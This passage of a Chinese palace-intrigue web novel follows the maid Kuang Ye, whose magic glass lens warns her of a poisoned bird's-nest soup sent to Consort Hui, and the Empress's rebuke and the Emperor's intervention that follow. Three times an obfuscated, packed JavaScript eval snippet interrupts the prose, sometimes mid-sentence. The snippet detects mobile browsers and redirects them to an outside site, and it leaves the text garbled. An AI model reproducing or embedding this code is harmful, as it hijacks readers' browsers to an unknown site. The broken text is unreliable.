两人犹疑了一下才坐下。 慧妃右手执墨条,左手提起右手袖口,墨条点在砚台里那团清水上,玉似的手腕轻转,一圈一圈,把墨渐渐磨开。 她一边磨墨,一边对邝叶说:“我并非怪你害我禁足,冷宫我们都过来了,禁足又算得了什么?我只是……唉……” 慧妃又叹了一口气,她的墨磨好了,墨条被放在一旁,掭了掭笔,却迟迟不提笔。 “叶儿,你该知道,你不单单是我婢女,你是宫女,我与你,其实都是在效忠于皇上,你却为我去拦截圣驾,这是本末倒置了。” 邝叶难得地理解了这句有些晦涩的话,即“附庸的附庸,不是我的附庸”,宫女叶儿可以在慧妃没落之时自请跟随,此乃忠心,但宫女叶儿不能为了慧妃拦截皇帝,此乃太过忠心。也即邝叶应该对慧妃忠心,但不能太过忠心。 人类社会真复杂。这也是邝叶宁愿当野人跟野生动物呆在一块儿的原因。 但现在她身不由己,她得适应这里的规则,当野人有野人的规则,当封建社会人也有封建社会人的规则。 邝叶应着“知错了”,手掌轻轻盖住了在她裙子上的琉璃透镜,在上面轻轻摩挲。 慧妃知道她总是很听话的,便又调转方向去训桃儿,桃儿知道她主子并没有真生气,边撒着娇说“冤枉啊冤枉我”,边走到桌边给慧妃取水研墨。 这一幕和原主记忆里冷宫的场景重合了,为了契合这个温馨场景,邝叶也牵起了嘴角,笑了。 突然,她的余光看到膝盖上的琉璃透镜出现了一行字:【名场面:潆霞宫毒羹。等级:A。23:59:59】 毒羹?! 潆霞宫怎么会有毒羹?毒谁?就在明天的这个时候?! 邝叶紧紧握着琉璃透镜,琉璃质地有些凉,此刻在她手心里却有一种灼热感,烫得手心都有些疼。 该告诉慧妃吗?可是如果她问怎么知道的,又该怎么说? 如果说谎,慧妃肯定能看得出来,说谎只会让她更加觉得宫女叶儿行为反常,可能会被赶出潆霞宫,或者更严重一些,被用私刑逼供…… 冷眼旁观吧…… 前世作为野生动物摄影师,做得最多的,不也是旁观吗? 邝叶轻轻松开了手,让透镜自然挂在裙边。 8. 名场面八 “叶儿!问你呢!” 邝叶被桃儿唤回身,她被待收集名场面的内容冲击到了,全然没有注意到慧妃和桃儿在聊什么,一脸茫然地转过头去。 桃儿只能又问一遍:“你姓什么来着?先前问过你,不巧我给忘了。主子想给你取个大名,总叫你叶儿倒像个小宫女。” 邝叶更茫然了,怎么聊到取名字上的? “哎,别看主子叫我桃儿,我的大名可好了,邱桃染。”桃儿说出自己的大名,挺直了腰杆,等着邝叶对她投来崇拜的目光。 慧妃看到她像只骄傲的雀儿似的,不由笑了。 邝叶却没有像桃儿以为的那样,夸她“好名字!一听就是书香门第出身!”她心里压着事,回答得简短,略有些扫兴的意味:“我有大名,我姓邝,邝叶。” 奴仆是没有名字的,她们的名字由主人赐予,像慧妃这样,赐名还问原来姓氏是什么已经算是宽容的主人了,邝叶此举,要是被一些古板的人看到,肯定是要被骂不识好歹的。 可她们都没有骂她。 桃儿挨着慧妃的椅子说:“主子,她跟我小时候一样呢,我那时说什么来着,‘什么劳什子桃染,我就叫邱大桃儿’哈哈哈……” 慧妃拿笔杆子点了她的鼻尖一下,让她别笑了,还维护邝叶的自尊说:“旷野莽茫茫,飞云蔽层岑。叶儿的本名是个好名字。” 邝叶只回以微笑说“多谢”,对桃儿的名字留了个心眼,直觉告诉她,这个名字不简单,如果她要拍纪录片,她也会为主角取一个好听的、富有寓意的名字。 邝叶此时有个疑惑,这次透镜上的收录任务并没有写是谁的名场面,只写发生在潆霞宫,那么,潆霞宫中毒的主角是谁呢? 而且,慧妃只是禁足了,皇帝并没有厌弃她,潆霞宫的用度是没有缩减的,谁敢这么贸然往宠妃的居所投毒? 接下来一整天,邝叶都心不在焉,好像人在那儿,魂却已经飞走了,幸亏原主本来就是呆呆的,没有人觉得她有什么不对。 随着透镜上的倒计时流逝,她看谁都觉得可疑,嫌疑人身份成疑,被害者身份也成疑…… 可直到熄灯入睡,潆霞宫都风平浪静,没有任何出事前的异常。 到底是谁啊……邝叶边吃着早饭边想,拎出了琉璃透镜看,上面的倒计时已经只剩6个小时。 早膳,无异常。 邝叶多了个心眼,求桃儿去问了送早膳的宫女的菜单。 今天慧妃心情不错,吃过早饭带着邝叶和桃儿并在院子里走,看到院中景致,心中欢喜,手执团扇,出口成诗,连邝叶上围墙时爬过的那棵歪脖子树,都被慧妃玉口送了一首五言诗…… 不知是不是今天早膳传的早,午膳来的也早。 邝叶这次更加警惕,试图让眼睛扫过每一个传菜布菜的宫女,掠过每一份呈到慧妃面前的饮食。 这次送膳的宫女换了个面生的,脸蛋有些长,并未因慧妃在禁足而怠慢,态度恭敬,挑不出错处。 “太后康复,感念诸位,与皇后娘娘特赐各宫妃嫔、尚宫局女官羹汤一碗。” 短短的一句话,信息量巨大。 慧妃被禁足,潆霞宫的消息便闭塞了,太后康复一事居然要等到赐膳传喻时方才知晓。 小荷最近,便接过那盅羹,稳稳放在慧妃食案的正前方,揭开了盅盖。 送膳宫女介绍着:“您的赐膳与贵妃、淑妃二位娘娘一样的,为血燕羹。” 慧妃才由桃儿帮着净手,刚好落座,送膳宫女又介绍起了午膳的其他菜。 可邝叶的注意力全被这道赐膳吸引了,她仅盯着那道羹,其他的全然顾不上,直觉告诉她,这道菜有问题…… 是了,被太后的赐膳是荣耀,能确保受害者肯定会吃下,就像因为笑声大了些被打入冷宫也必须要跪下谢恩,好不容易出了冷宫第一时间就要去探望。 时间仿佛被无限拉长,邝叶甚至能看清瓷盅里的袅袅热气怎样冒出来,上升,又消散。 送膳宫女行礼告辞,裙子上的琉璃透镜,倒计时走到了【00:00:47】,邝叶不动声色地将琉璃透镜拎起。 慧妃说:“既如此,便先用赐膳。” 桃儿忙帮她从盅里舀出一碗,手指特地在雪白的碗壁上试了一下,确认并不烫才放到慧妃面前。 【00:00:10】 邝叶往前走了两步,这样,她离慧妃够近,确保能取到慧妃拿起汤匙要尝的样子,也能及时伸手阻止慧妃真的吃下这碗毒羹。 【00:00:06】 邝叶悄悄把透镜举到眼前,因为紧张,眨眼的速度快了很多,每次眨眼脑海里都相应的响起“咔嚓”声,每次咔嚓声之后,都能看到那只汤匙离慧妃的嘴唇越来越近。 【00:00:02】 慧妃刚要把第一口羹送进嘴里,手里一轻,汤匙被夺了,一起不见的还有她面前那碗血燕羹。 慧妃手悬在半空,愕然转头。见邝叶站在那,双手捧着刚抢过去的汤匙和碗,平时没什么表情的脸上此时竟然充满恐惧,衣裙上撒了汤羹也顾不上。 “你疯了你!”桃儿惊怒交加的声音响起,跑过去,抬手就要像教训其他的小宫女一样教训邝叶,但又觉得满屋子都是还不大熟的宫人,“婢女夺食”这种家丑不能外扬,强压下怒气,咬着牙对邝叶说,“我已试过不烫了,你不用再试。” 慧妃没有像桃儿一样生气,第一时间意识到了什么,看向邝叶,低声问:“这羹有问题?” 邝叶连连点头。 啊?桃儿看看慧妃又看看邝叶,目中都是深深的不解。 “唉……桃儿,”慧妃脸色煞白,叹了一口气,唤桃儿,桃儿弯腰,以耳朵凑近她,她便下令,“你把咱们潆霞宫里,接触过这碗羹的所有人都找到,盘问清楚是谁做的,然后……” 桃儿和邝叶都以为她下一句话要说“把此事报给皇上”。 但她说的却是:“这事一个人都不许传出去!” 桃儿和邝叶两人都甚为不解,对视一眼,双双愣在原地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128578|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “愣着做什么,快去,”慧妃用温和的声音催促着桃儿,又对邝叶说,“叶儿把汤羹放下,去洗个手,换身衣裳,午膳我不吃了,你和桃儿将它们处理了事。” 说完便自行去了书房,没叫任何人跟着。 邝叶看着慧妃离去的背影,总觉得,慧妃像是知道要给她下毒的人是谁,连自己最大的倚仗——皇帝也不予告知,对被下毒这件事,她的反应太过平静了。 放下那碗羹,邝叶也没能去洗手换衣服,桃儿除了她,信不过任何人,只要她守着这桌饭菜。还唤来小荷,以邝叶的名义去请比起太医更容易请到的医女。桃儿自己则带着一个跟班儿去查这件事。 邝叶守在那桌菜旁边,不再去想慧妃的异常,提起透镜来看,上面宣告,她在生死时刻做的选择导致了她的任务失败。 【名场面:毒羹(中断),收录失败!摄影师邝叶,剩余寿命:166天。】 【警告!收录失败已达两次!】 【处罚通知:寿命冻结。14天内收集名场面无法获得寿命。】 还好,只是账号被封14天。 邝叶垂下眼帘,略过已犯下的错误,想想接下来怎么办。 福宁宫。 贵妃一下辇,提起裙子,便急急地迈入宫门,走进主殿内,给坐在榻上的太后磕头行礼,殿内忙不迭闲人主动退下,只留两个近身伺候的宫女和掌事姑姑在。 “姑母,您可知道,这些日子,没有您镇着,我都被欺负成什么样了!”不等太后开口唤她起来,贵妃自己便从蒲团上起身,跑到太后身边抱怨,一派天真活泼,看不出一点儿“宫里头一个嚣张跋扈”的影子。 太后身着常服,靠在榻上,五官与贵妃并不相像,已是知天命的年岁,身上除了年轻时遗留的美貌,更多的是手握权柄多年而威严与杀伐果断的气势。 太后半阖着眼,抬了抬衣袖,让贵妃在她身边坐下,“慧娘,你有空到我这里来告状,不如多去皇上跟前,抓紧的生下个把皇子。” 太后叫了贵妃的小名,提到这个她就生气!宫里头她最不喜欢慧妃,一是因为皇帝特别喜欢她,二是慧妃的封号撞了她的名讳,明明她才应该是“慧妃”。 贵妃赌气似的别过脸去,“姑母您倒是生了三个,也就养住了一个公主,可见咱们家的男儿都是些短命的,生了也没用,还不如等别人生了过继来养。” 太后有一女两子,只有长女贤昭长公主在世,其他儿子均早夭,当今皇帝是宗室过继来的藩王世子。 贵妃短短一句话,每个字都在往太后痛脚上踩,太后心说这个姪儿脾气渐长,当即冷下脸来,“这话要是旁的人说出来……” “嗯,进冷宫嘛,这不是刚进过一个么,”贵妃嘴上逞了强,却又乖巧地抱住太后的手臂撒娇,“我又不是旁人,姑母不会舍得我进冷宫……” 太后有些无奈,安抚似的拍了拍她的肩,这孩子幼年父母双亡,由婶母照顾,处境最像她,也最招她疼。 “说到萧妃,姑母有未听到一桩趣事?” 9. 名场面九 “趣事?什么趣事?”太后向一边抬手,自有宫女将放凉的汤药递到手上。 贵妃看着姑母将汤药饮下,才蹙起描画精致的眉,把御花园一事添油加醋说了一遍。 福宁宫内香气浮动,太后靠着如意纹迎枕,斜倚在紫檀木榻上闭目养神,榻前鎏金瑞兽香炉吐出其中香药燃起的淡白烟雾,舒展了太后常年皱起的眉头…… “袭击?” 贵妃说到“那婢子忽从树上落下袭击陛下”时,太后终于出声,声音听不出喜怒,平缓得如同殿外无波的池水。 自皇帝登基起,朝政就由她把持,皇帝于朝政不重要,然而皇帝至今无子,不能就这么崩逝。 “是啊姑母,她就这么不偏不倚,砸到了陛下,这不是刺客是什么?” 太后哼了一声,对贵妃的说法不置可否,而是直接问:“皇上如何处置的她?” “不知是哪个嘴碎的通风报信,把萧妃招来了,萧妃为那贱婢求情,皇上自然轻拿轻放……要我说,萧妃亦有窝藏刺客之嫌。萧妃恃宠生娇,今日她的宫女敢袭击皇上,明天她就敢害太后!”贵妃的声音陡然拔高,带着刻意的不忿,其实她没多在意她夫君皇帝的安危,皇宫里,姑母在,她就在,她只是厌恶慧妃、厌恶让她不高兴的人罢了。 “啪嗒”一声轻响,是太后手上的镯子碰着了贵妃头上的步摇珠串。 太后抬着贵妃的下巴,那双历经沧桑依旧明锐的眸子盯端详着贵妃的脸,仿佛能穿透那层精心描画的胭脂水粉。殿内侍立的宫人呼吸都放轻了,垂下的眼睫遮住了所有窥探的心思。 “害哀家?”太后唇角勾起一丝极淡的弧度,似笑非笑,“那依你而言,如何处置呢?藐视圣旨,牵扯阖宫上下,把行刺的帽子硬扣在萧妃头上,再丢进冷宫住个半辈子替你出气?” 贵妃心头猛地一跳,脸上那点怒意瞬间消散,她下意识地想辩解,对上太后那双眼却又把话生生咽回肚里。 “没出息,”太后抽回了原本抬着贵妃下巴的手,声音突然变得严厉,“你是贵妃,眼界和手段都该高些才是,为着一个宫女,一个昭容,为着那个‘慧’字,来哀家这里大呼小叫成个什么样子?” 贵妃不敢辩解一个字,乖乖听训。 太后却不想再训了,靠回榻上,重新阖上眼,摆手道:“哀家累了,你回吧。” 那逐客令下得轻描淡写,却带着千钧重压,贵妃委屈极了,声如蚊讷:“我陪姑母吃饭……” 掌事的孙姑姑赶紧出来打圆场:“贵妃娘娘,太后刚刚病愈,明日还要垂帘上朝,最是要休息,连皇后都给打发回去了,您也回吧。” 贵妃只能压着委屈,僵硬地起身,行了个礼告退,由宫女扶着出了福宁宫的大门。 孙姑姑亲自送贵妃出门,回来见太后叹气,劝道:“太后何苦才病愈就又临朝,不若将养几日?” “哀家倒是想放下几日,可皇帝不中用啊……”太后捏了捏眉心,深深叹出一口气,“藩王之子,再精心教养,也就这样了罢……” 孙姑姑忙附和:“贵妃也太小性儿,真是不懂您的难处……” “御花园那日的林昭容,去赏她点儿东西,安抚两句,”太后并未长长感伤,短短两句感怀抒发后,杀伐决断之气又回归周身,“至于慧妃……由她去吧,一个作得两首破诗的清高摆件罢了。” 潆霞宫。 曲大夫跟在小荷身后,本以为自己会被引到宫女居住的配房,却不想来到了慧妃起居坐卧的偏殿。 她又见到了那个因为犯错被杖责的宫女叶儿,此时正站在饭桌边上,身上手上沾着点儿食物污渍。 又是个被主子撒气的可怜人……曲大夫心下有了个大致猜测。 “曲、曲大人,我的伤好得差不多了,不必查看,”邝叶一开口就把曲大夫的猜测颠覆,“但你能不能帮忙看一下这碗羹?” 曲大夫依言扫了一眼几乎没被碰过的一桌子菜,目光最终回到那碗血燕羹上,没猜错的话,这应该是太后的赐膳,曲大夫自己也有,只是食材不会这么名贵。 怪不得要以复查宫女棒伤的理由请她来呢……原来是慧妃和太后斗法,把她一个小小医女牵扯进来了。 “下官只懂些医理用药,对烹饪一事实在不懂,姑娘可请我尚食局司膳李大人。”她才不掺和皇家婆媳斗法呢,让上头的大人们掺和去,曲大夫说完行了个礼,打算退两步告辞。 不料药箱被人抓住,一看原来是邝叶。 “曲大人,这是这碗羹所用食材,请帮忙看一下。”邝叶把一张刚抄写下来的食材单伸到曲大夫面前,心里庆幸提前让桃儿索要了今天的菜单。 这不帮她看就不放人了的架势……曲大夫吧药箱往自己这边扯了扯,没扯动,只得扫了一眼那张单子。 “姑娘,这上面的食材,恕下官看不出有毒或相克之物。” 邝叶的回答是收好食材单,把一小锭银子放在二人拉扯的药箱上。 曲大夫的脸瞬间冷了,“姑娘,尚食局进膳前须先尝过,要是下毒,先毒的也是自己人,我们何必做这种得不偿失的事呢?”她伸手扫落那锭银子,“这单子,无论是问我,问司药大人,便是问到太医,也都是这么个说法,我们底下人就想好好干完活儿领月钱,没几个人敢铤而走险。” 见邝叶拉扯她药箱的力气小下来,曲大夫继续趁热打铁:“食材本身无异常,但也不能排除有人在呈膳时下毒,当然,有的人先天与某一类食材相克,食之轻则呕吐起风疹,重则气喘直至断气。” 言下之意:你们去查别人,别查我们尚食局! 邝叶放走了曲大夫。 展开那张食材单子,邝叶自己也在怀疑是不是根本就没有下毒这件事,但无论是琉璃透镜的【收录失败】提示,还是慧妃的反应,都印证了这羹里有毒。 也许,等桃儿查完她那一边回来就知道了……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128579|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 桃儿回来回禀时,一桌午膳早已经撤了,那碗被抢夺的毒羹留下的污渍,早已被手脚麻利的小宫女擦拭干净,但那股无形的、令人窒息的暗流,却如同跗骨之蛆,悄然渗透在每个角落。 慧妃坐在案前,手里捏着一卷书,却许久未曾翻动一页,她只是那样呆坐着,眼神空茫,仿佛灵魂已抽离躯壳,去往某个无人知晓的荒芜之地。 邝叶已换了一身衣裳,站在慧妃身后,眼中比平时多了一些凌厉,不再是木讷和空茫。 桃儿身后是一起调查毒羹一事的小跟班儿杏花和枣花,她们二人在事发时就在殿内,原本也有嫌疑,但她们为自证清白主动让桃儿搜身,才在桃儿那里摆脱了嫌疑,跟桃儿一起查问此事。 “回娘娘,奴办事不力,没能查出来是谁干的。”桃儿说完,看向邝叶,希望她那一边有线索。 “查不出就算了,”开口的却是慧妃,好像对此结果早有预料,“不让人把这事儿传出去便罢了。” “桃儿,”慧妃唤她,递给她一封信,应当是才写好不久的,“此信,寄回我娘家忠义候府给我母亲。” “是。” “你们都去吧,”慧妃下令,两个小跟班自动退了出去,剩桃儿和邝叶,慧妃再一次道,“你们俩也出去。” 慧妃很少有把桃儿也赶出去自己呆着的时刻,但她既然下令,桃儿不放心也只能服从,跟着邝叶一起退出殿外。 走到廊柱阴影下,还不等桃儿问话,邝叶就又拿出那张食材单子,像出示拘捕令一般伸到桃儿面前。 “这上面有慧妃过敏的食物吗?”邝叶问。 桃儿不解:“过敏?” 邝叶给忘了,这个时期的中医应该是没有“过敏”这个具体名词的,便又换了个说法道:“就是,吃了就会起呕吐、起疹子、发痒或呼吸困难的食物。” 桃儿听到这些症状,连忙把那张单子仔细看了一遍,事情刚发生时,她只顾着找出内奸,这张单子直接给了邝叶,未及细看。 桃儿看罢,点了点头,单子里有一味雪蛤,是慧妃的忌口。 “她对我说没有,”邝叶说,“所以我觉得该让你看看。” 现在看来,这道毒羹从一开始就是冲着慧妃来的。 可是,为什么呢? “怪不得……”桃儿叹了一口气,仿佛周身无尽的烦躁和无力感啃噬着她,“怪不得主子要这样息事宁人,婆婆给儿媳妇立规矩,那不就只能受着了么。” 桃儿的意思是,是太后借着赐膳故意刁难慧妃,吃了,过敏,难受好几天,不吃,就是违逆长辈。 这个说法很合理,毕竟这是个因为慧妃念诗时笑声太大就把她打入冷宫的恶婆婆,做出下毒这种事也有可能,但邝叶直觉有什么不对…… 琉璃透镜被风吹动,穗子上穿的珠子碰到了邝叶的膝盖。 【名场面:皇后教训慧妃(提前出现)。00:30:00】 10. 名场面十 “胡说八道!太后心怀天下,哪有那闲功夫去给她下毒?” 贵妃坐在辇上,正在回寝宫的必经之路上,心腹金环见她脸色不好,把从打探来的潆霞宫的消息说给她听,希望她抓到死对头的把柄能开心点儿,却没想到贵妃更生气了。 金环连忙改口:“就是就是,真把自个儿当盘菜了,奴也只是听说,慧妃怀疑太后赐膳有毒,拒用赐膳,还把一桌子午膳都给撤了,还不是下赐给宫人,是全给倒了。” “蠢东西,”贵妃嗤笑一声,转而又道,“不过,我姑母虽没空管她,皇后娘娘倒是会喜欢管这事。” “是!”金环会意,赶紧叫调转方向,不去闲云阁折磨林昭容了,改去拜访皇后娘娘。 皇后驾临潆霞宫的消息,是随着一阵不安的脚步声撞进潆霞宫大门的。 “皇后娘娘驾到——!” 太监尖锐的传报声,带着一种不容置疑的穿透力,如冰锥狠狠凿破了潆霞宫禁足以来刻意维持的那份虚假宁静。洒扫的小宫女手一抖,水瓢“哐当”一声砸在地上,溅起一片水花,也惊得她自己脸色煞白,赶忙连盆带瓢全端走。 桃儿刚抬手,打算叩门提醒慧妃出来接见,雕花门却从内打开,慧妃像是对皇后的驾临毫不意外,眼底一片死寂,叫邝叶和桃儿跟上自己去正殿迎接皇后。 “皇后娘娘驾到——!”第二声传报更近,带着一种催命的紧迫感。 沉重的宫门被推开,撞在两侧的墙上,杂沓的脚步声瞬间涌满了前院。 皇后的仪驾到了。 她步下凤辇,身着熏色常服,梳着端庄板正的发髻,头戴九尾凤钗,颊上还带着未褪的婴儿肥。她并未立刻前行,只是立于伞下,微微扬着下巴,目光缓慢地扫视过整个潆霞宫,从跪伏的宫人头顶,到浮雕影壁,再到角落里无人顾及的、被蹭掉的一块墙皮。那目光带着审视,又最终变为一种高高在上的傲气。 潆霞宫所有宫人,无论原本在何处、做着什么,此刻都像被无形的线骤然扯紧的木偶,齐齐低头跪倒在地,连大气都不敢喘一口。 皇后跨入了正殿,早等在殿内的慧妃忙姿态恭谨地深深拜下行礼,额头几乎触及地面。 “臣妾恭迎皇后娘娘凤驾。”声音清晰平稳地回荡在殿内。 皇后没有立刻叫起,而是打量了慧妃一番。 跪在博古架边的邝叶,边看着透镜上的倒计时,边观察这一幕,不由想起她刚问过桃儿:皇后是个什么样的人呀? 桃儿回:女德典范。 不知桃儿有没有这个意思,但邝叶听在耳里,总觉得,这评价,有褒贬双关含义。 “慧妃,”皇后总算出声,她的声音其实偏稚嫩,实际年龄可能比贵妃还小,装扮举止却老气横秋,“本宫听闻,太后慈恩赐膳,你却拒食,还将午膳尽数倾倒?” 慧妃维持着叩拜的姿势,声音依旧平稳,听不出丝毫波澜和情绪:“回皇后娘娘,臣妾不敢。太后恩典,臣妾感激涕零。只是臣妾今日身体有恙,脾胃不和,故未用膳,并非刻意辜负太后恩慈。” “哦?身体有恙?”皇后尾音微微上扬,更显得稚嫩了,像个佯装大人的孩子,“本宫看你气色尚可,跪拜请安亦是中气十足。怎么,太后的恩典,倒成了你娇贵的由头?” “臣妾不敢。”慧妃的声音依旧没有起伏,像一潭死水。 邝叶裙上的透镜,倒计时已经到了【00:00:03】,她维持着低头跪下的姿势,却悄悄把透镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128580|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪到右眼前,趁着倒计时只剩1秒时快速抬头眨眼,再马上低头。 虽说收录成功也没法增加寿命,但不能再收录失败了,不然被寿命被倒扣,邝叶的小命就没了。 “不敢?”皇后向前踱了一步,居高临下地看着伏在地上的慧妃,猛地提高音量想显得严厉,“本宫看你可不像不敢的样子!你恃宠生娇,目无尊上!太后赐膳,何等恩荣?便是寻常百姓家,父母赐饭不食即为不孝。你不思感恩,疑神疑鬼,将太后一番慈心视作蛇蝎!此等行径,与那忘恩负义、不识好歹的白眼狼有何区别?” 斥责一句接一句,毫不留情地砸落。 潆霞宫主殿内的宫人们跪得更低了,恨不得将头埋进地里。 慧妃的身体在皇后的斥责声中一动不动,依旧保持着那个卑下却端正的姿势,仿佛承受这一切难听的话语的并非她自己。 皇后恨极她这与世无争的模样,稚嫩又尖锐的嗓音恨恨地道:“去年中秋,你才将太后气得病倒,如今刚回来,又公然做出此等不孝行径,依宫规,应当把你这大逆不道屡教不改之人……” “皇上驾到——”内侍通传声又一次传到潆霞宫众人耳朵里。 帝后居然同一时间驾临潆霞宫…… 感受到跪在慧妃身后的小荷和桃儿同时向自己投来的目光,邝叶看了回去,心说:这回可不是我叫来的! 【名场面:废后危机(提前出现)。00:07:00】 邝叶裙子上的琉璃透镜,悄然出现了这一行字。 邝叶右手猛地握紧了那块冰冷的琉璃,指节因紧张而泛白。 怎么又来? 一天之内两次名场面提前出现,专门趁我账号被封发布特大优惠是吧?! 11. 名场面十一 皇帝一来,皇后也须得跪迎。 和五日前从冷宫回来那次一样,邝叶依旧只得通过衣摆的颜色来得知皇帝走进了正殿。 “皇后怎么也在?”皇帝的声音透着股事不关己的懒散,一甩手,“啪”一声收了折扇,闲庭信步踱到主坐榻边落座,语调轻佻地让皇后和慧妃平身,“平身。” 皇后膝行换了个方向,面对皇帝,仍跪着。 皇后不起,慧妃自然也不敢起,也面朝皇帝跪着。 皇帝不再要求,环视一群屋内众人,单手将折扇一片一片展开。 皇后终于沉不住气,叩首道:“慧妃恃宠生娇,不敬太后,臣妾恳请陛下秉公处置。” 邝叶看到慧妃原本稳定得恍若石像的身体颤了一下。 皇帝什么也没说,只接过安居进递上的茶盏,皇后猜他愿意听下去,稳了稳心神,抬起那张犹带几分稚气的脸上,继续道:“太后病愈,特赐嫔妃及女官膳,慧妃却疑心太后恩慈,将一桌午膳未曾尝试,尽数倾倒,此等忤逆之举,实在是……” 皇后像是气得不行,说不下去,顿了一会儿,才又道:“臣妾知晓慧妃和陛下青梅竹马,情深义厚,然而臣妾身为正妻,有劝谏夫君之责,斗胆请陛下将慧妃按宫规贬斥!” 皇帝手里的折扇“刷”一声打开了,听完皇后义愤填膺的劝谏之言,反而笑了,“皇后之言,感人肺腑,好一个孝顺贤后……” “然而,”折扇突然被扔到了皇后跟前,因她的贵重的衣料垫着,未曾损坏,皇帝突然变了脸色,语气忽然冷硬,“遵例朕该贬斥你!” 邝叶看着透镜的倒计时走到【00:00:01】,故技重施,捏住原本就放于右眼前的透镜,快速抬头眨眼,再马上低头,【名场面:废后危机(提前出现)】也收录成功了。 皇帝突然间发怒,所有人都恨不得把头埋到地底下,连方才硬气的皇后也再度低头,额边凤钗缀下的金流苏随着她的动作颤了颤,视线慌乱地落在皇帝丢在她跟前的折扇上。 众人吓得大气都不敢出,因这些年来朝政有太后和摄政王把持,皇帝顺风顺水,养得过于随性,为了一碗羹汤就要把皇后废了的事,他是做得出来的! “你,你来说。”皇帝突然伸手一指,他不叫慧妃辩解,而是指派了一个宫人,“当着朕的面,将慧妃拒食太后赐膳一事仔仔细细地说!” 邝叶是伏低了身子,额头几乎挨到交叠贴地在身前的手背,她膝盖上偷偷绑了护膝,但没有完全痊愈的杖伤在过久的跪姿下有些疼,这个姿势会缓解一些。她不知为什么,皇帝在指派人陈述经过之后会有那么久的沉寂,稍微抬了抬头,猛然发现众人都在看她。 “叶儿姑娘,陛下问你话呢。”安居进在邝叶抬头后认出了她,提醒道。 邝叶完全不知道皇帝要她说什么,竟一时愣住了。 “不必恐惧,赐膳有疑一事是你最先发现,你如实说便是,若在朕面前说谎,便是欺君!”皇帝自然知道这丫头并没有在怕,安抚只是场面话,他方才砸扇子,一群人都低头的情形下,她却偷偷抬头看了自己,此人隐匿颇深,潆霞宫的线人都套不出话,正好,利用此事试探她是否是太后的人。 邝叶明白了,把琉璃透镜收回袖中,虽跪着,却挺起了腰杆,隐去了原因,将自己在慧妃用赐膳前发觉不对,于是抢夺走碗,又找来医女验毒,发现羹中加了慧妃不能吃的食材的经过说了一遍。 邝叶没有要借题发挥,借皇帝之手对付皇后的意思,她也没那个语言能力,她只陈述事实,毕竟她不希望自己这边只能逆来顺受。 “陛下,臣妾,臣妾对慧妃过往之事全然不知……”皇后听完,开始为自己开脱。 赐膳一事,本来就是她借太后名义,太后只是点了头,而她自己,也只是交给尚食局去办,谁知道他们竟然如此疏忽,竟然在赐膳里加了慧妃忌口的食材…… 慧妃保持着额头触地的伏低姿态,听完了邝叶的叙述,贴着冰冷金砖地面的手抓握一下,指尖因用力而透出失血的白。 “你打着太后名义,欲毒害慧妃,好在慧妃身边有人觉察,慧妃本想偷偷处理以粉饰太平,却被你以不孝的罪名借题发挥,真是一箭双雕的妙招……”皇帝轻轻摇头,好似失望透顶,“皇后啊,朕真是小瞧你了。” 皇后何曾受过这样的当众申斥,银牙咬在唇上,几乎遏制不住就要落下泪来,尽管如此,她也没有反驳,没有辩解,皇帝不让她说话,她便不为自己说话,她依然是那个贤淑良德的女德表率。 皇帝指了指丢到皇后跟前的扇子,安居进忙弯腰替他捡,双手送上。 “众臣请封皇后时,说你出身名门,德行昭彰,没想到,竟也如此狠毒,依宫规,你这个皇后,应当让贤。” 宫人们此时都不敢有一点儿动静,生怕自己一个小小动作,影响了一件大事的走向,这等滔天巨浪,掀起来可不是自己这种小人物能够承担的。 “陛下,请容臣妾分辨一句。”此时出声的,竟是慧妃,竟是不声不响就能坐收渔利的慧妃。 “爱妃请讲。” “此事,是臣妾有错在先,臣妾不应当为息事宁人将赐膳偷偷处理,若臣妾当时便上禀皇后娘娘,便不会有此误会,”慧妃语气冷淡地陈情,却又十分恳切地为皇后说情,“皇后娘娘为人正直,阖宫上下,无不夸赞,此次许是宫务过多,略有疏忽,万不可因这小小疏忽废后!再有,太后刚刚病愈,若知道陛下将为其侍疾的皇后废黜,该有多寒心呢!” 皇后听到了这番说情,稍稍向后,看了慧妃一眼,她自然不会因为这一两句说情就感激慧妃,但她明白,此次确实是自己太过冲动,想替太后鞍前马后,却被人当枪使了。 皇帝没废成后有些失望,却也知道,这不是轻易能做成的事,道:“既然慧妃求情,看在皇后刚为太后侍疾的份上,饶过你这一会,你回去闭门思过三个月,宫务交由贵妃和慧妃。” 殿内众人心下都是一惊,这个旨意就差把“抬举慧妃”放到明面上了,谁说的慧妃失宠了?! 然而这却还没有完,慧妃才要开口婉拒,皇帝又下令道:“慧妃既然代理宫务,又受此无妄之灾,余下的禁足即日起便免了。” 